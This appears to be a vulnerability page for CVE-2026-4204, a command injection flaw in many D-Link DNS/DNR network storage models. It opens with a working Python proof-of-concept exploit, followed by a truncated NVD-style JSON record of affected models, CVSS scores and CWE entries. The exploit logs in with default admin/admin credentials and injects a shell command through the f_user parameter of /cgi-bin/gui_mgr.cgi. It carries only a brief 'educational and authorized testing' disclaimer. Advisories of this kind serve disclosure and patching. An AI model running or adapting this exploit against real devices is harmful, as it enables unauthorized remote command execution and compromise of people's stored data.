CVE-2026-4204

#!/usr/bin/env python3 """ CVE-2026-4204 PoC - D-Link DNS series Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET = "http://target-ip" USERNAME = "admin" PASSWORD = "admin" def exploit(target, username, password, cmd="id"): """Execute command via CVE-2026-4204""" session = requests.Session() # Login to get session login_data = { "username": username, "password": password } session.post(f"{target}/cgi-bin/gui_mgr.cgi", data=login_data) # Exploit command injection via f_user parameter # Inject command via shell metacharacters injected_cmd = f";{cmd}" exploit_data = { "f_user": injected_cmd, "func": "cgi_myfavorite_add" # or other affected functions } try: response = session.post( f"{target}/cgi-bin/gui_mgr.cgi", data=exploit_data, timeout=10 ) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) > 1: cmd = sys.argv[1] else: cmd = "id" print(exploit(TARGET, USERNAME, PASSWORD, cmd))

{"cve": {"id": "CVE-2026-4204", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:05.627", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. The affected element is the function cgi_myfavorite_add/cgi_myfavorite_set/cgi_myfavorite_del/cgi_myfavorite_set_sort_info/cgi_myfavorite_remove_apkg/cgi_myfavorite_compare_apkg/cgi_mycloud_auto_downlaod of the file /cgi-bin/gui_mgr.cgi. This manipulation of the argument f_user causes command injection. Remote exploitation of the attack is possible. The exploit has been published and may be used."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta la versión 20260205. El elemento afectado es la función cgi_myfavorite_add/cgi_myfavorite_set/cgi_myfavorite_del/cgi_myfavorite_set_sort_info/cgi_myfavorite_remove_apkg/cgi_myfavorite_compare_apkg/cgi_mycloud_auto_downlaod del archivo /cgi-bin/gui_mgr.cgi. Esta manipulación del argumento f_user provoca inyección de comandos. Es posible la explotación remota del ataque. El exploit ha sido publicado y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vuln ... (truncated)